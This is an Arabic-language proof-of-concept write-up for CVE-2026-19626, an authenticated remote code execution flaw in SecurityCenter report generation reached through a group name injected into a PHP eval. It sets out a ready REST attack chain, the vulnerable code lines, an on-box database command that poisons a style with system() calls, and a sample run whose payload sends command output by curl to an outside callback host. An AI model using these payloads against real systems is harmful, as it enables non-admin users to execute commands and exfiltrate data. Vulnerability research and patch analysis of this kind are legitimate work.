
استغلال إثبات المفهوم لثغرة CVE-2026-19626، تنفيذ كود عن بُعد يتطلب مصادقة في توليد تقارير SecurityCenter، يوضح سلسلة استغلال بصلاحيات غير إدارية عبر حقن اسم المجموعة وPHP eval.

الحالة: مؤكَّد — عن بُعد بالكامل، بصلاحيات غير إدارية، عبر REST فقط (مختبر 6.7.2-14.el9، 2026-08-21).
السلسلة الهجومية الجاهزة (هذا ما يفعله poc.py):
POST /rest/group مع name: "{=system('<cmd>')}" — الأقواس/علامات الاقتباس تُقبل حرفيًا (لا يوجد فحص لمجموعة الأحرف في وحدة تحكم المجموعة)POST /rest/reportDefinition — تقرير PDF، بمكوّن مخطط دائري واحد (pieChart)، واستعلام user/sumgroup، وlabelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() العنصر النائب {label} باسم المجموعة قبل تشغيل حلقة التقييم {=...} — تصل الحمولة إلى داخل سلسلة التنسيق ويُطلق eval("$expr = system('<cmd>');") بصلاحيات tnssystem() مرة أخرى في التسمية — يظهر مخرج الأمر في وسيلة إيضاح المخطط الدائري للتقرير النهائي (قناة استخراج البيانات)تم إنشاء العلامة /tmp/pwn_label بواسطة هذه السلسلة بالضبط (بدون وصول إلى قاعدة البيانات، وبدون كتابة نمط، وبدون رفع ملفات). لاحظ أن المجموعة صفرية الأعضاء لا تزال تُنتج قطاعًا — تجميع sumgroup يشملها.
بالإضافة إلى ذلك، تأكد ذلك عبر الاستدعاء المباشر وتسميم النمط عبر خط المعالجة بأكمله (انظر السجل أدناه): نقطة eval حيّة في substituteParams() الموجودة في النسخة الموزَّعة، وسمة النمط الافتراضية المسمومة legendFormat تُطلق عند أي عرض لمخطط دائري بما في ذلك التقارير غير المملوكة لمسؤول.
ملاحظة تحذيرية بشأن التسليم (لماذا يتعثر إثبات المفهوم عبر REST النقي): كائن style المضمّن في تعريف التقرير — حيث يزرع إثبات المفهوم legendFormat/labelFormat — يُخزَّن حرفيًا في xmlDefinition لكن يُتجاهَل عند العرض: يعيد getReport(CONTEXT_RENDER) تحميل المكوّنات من الجداول المُطبَّعة ويستبدل $component['style'] بـ StyleLib::getComponentStyle() (المُجلَبة عبر styleID). وحدة تحكم استيراد الأنماط موجودة (Styles::add، تحلّل ملف XML مرفوعًا عبر xmlToStyles، مع تعطيل فحص صلاحيات المسؤول عبر التعليق) لكن لا يوجد مسار مكشوف إليها — 12 توليفة فعل/مسار (style, styles, style::add, style/import × POST/PUT/PATCH، مع اسم ملف مُجهَّز صالح) كلها تُرجع خطأ 10، ولا تحتوي حزمة واجهة المستخدم على أي استدعاءات لنقاط نهاية الأنماط. لذلك يتطلب التسليم النقي عن بُعد مسار كتابة أنماط لا توفره 6.7.2؛ وقد أُثبتت السلسلة وقت العرض عبر سمة النمط مباشرةً.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 والإصدارات الأقدم):
eval("\$expr = {$exprs[1]};") داخل substituteParams(). تدعم سلاسل تنسيق وسيلة الإيضاح/التسمية في المخطط الدائري ($style['legendFormat'] / $style['labelFormat']، السطران 4952/4983) عناصر نائبة بصيغة {=<arithmetic>}، مثل الافتراضي المدمج {={sector}+1}. نص التعبير هو محتوى تعريف تقرير يوفره المستخدم → كود PHP عشوائي.eval("\$sectorLabels->setBackground($labelStyle);") مع labelStyling من نمط المخطط. كان الفحص الوقائي في 6.8.0 هو if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — يرفض ; فقط؛ system('cmd') يمر بنجاح.if (is_callable($matches['name'])) على مواصفات أشكال الأعمدة مثل circleShape(10). system(id) يجتاز البوابة. يصرّح تعليق الإصلاح في 6.9.0 بذلك صراحةً: "is_callable() ليست بوابة آمنة (is_callable("system") === true)".يمكن لأي مستخدم في المؤسسة لديه صلاحيات تعريف التقرير الوصول إلى النقاط الثلاث جميعها وقت العرض (generateReport.php / Jobd). يحظر ReportDefinitions::launch() دور ROLE_ADMIN — فئة الثغرة هذه غير إدارية بشكل صريح.
يُستبدل مخرج الأمر مرة أخرى في نص التسمية، لذا يكون التقرير المُقدَّم هو قناة استخراج البيانات.
تمت إزالة eval()؛ وتقييد تعبيرات {=...} بالنمط /^[0-9.\s()+\-*\/]+/ وتقييمها عبر مُقطِّع (tokenizer)؛ ويقوم resolveLabelStyleArgs() بتحليل تنسيق التسمية إلى قائمة وسائط؛ وأصبحت isAllowedBarShapeFunction() قائمة سماح بوسائط رقمية فقط.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
حقن التسمية عبر اسم المجموعة (السلسلة عن بُعد أعلاه): ينشئ المجموعة المسماة بالحمولة، ويبني تقرير sumgroup، ويُطلقه، ويستقصي النتيجة المُقدَّمة — يظهر مخرج الأمر في وسيلة إيضاح المخطط الدائري للتقرير النهائي. قيد الحمولة: لا يُسمح بأحرف } (التعبير النمطي {=...} غير جشع حتى القوس الأول)؛ ينتقل مخرج الأمر عبر استبدال التسمية، لذا اقرأه من التقرير أو تحقق منه عبر علامة/توقيت.
style.legendFormat/labelFormat المضمّن في التعريف حرفيًا في xmlDefinition لكن يُتجاهَل عند العرض — تعيد المكوّنات تحميل الأنماط من جداول الأنماط عبر styleID (سياق العرض في ReportDefinitionLib يستبدل $component['style'] بـ StyleLib::getComponentStyle()).Styles::add، فحص صلاحيات المسؤول مُعطَّل عبر التعليق، تحلّل ملف XML مرفوعًا عبر xmlToStyles) لكن لا يوجد مسار موصول — 12 توليفة فعل/مسار (بما فيها المورد الفرعي /rest/style/{id}) كلها تُرجع خطأ 10، ولا تحتوي حزمة واجهة المستخدم على أي استدعاءات لنقاط نهاية الأنماط.{label} يسبق حلقة التقييم، لذا فإن أي تسمية يمكن للمهاجم التأثير فيها (اسم المجموعة هنا؛ حقول ملف المستخدم وأسماء مضيفات الأصول المفحوصة بنفس الشكل) تحمل الحمولة.# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0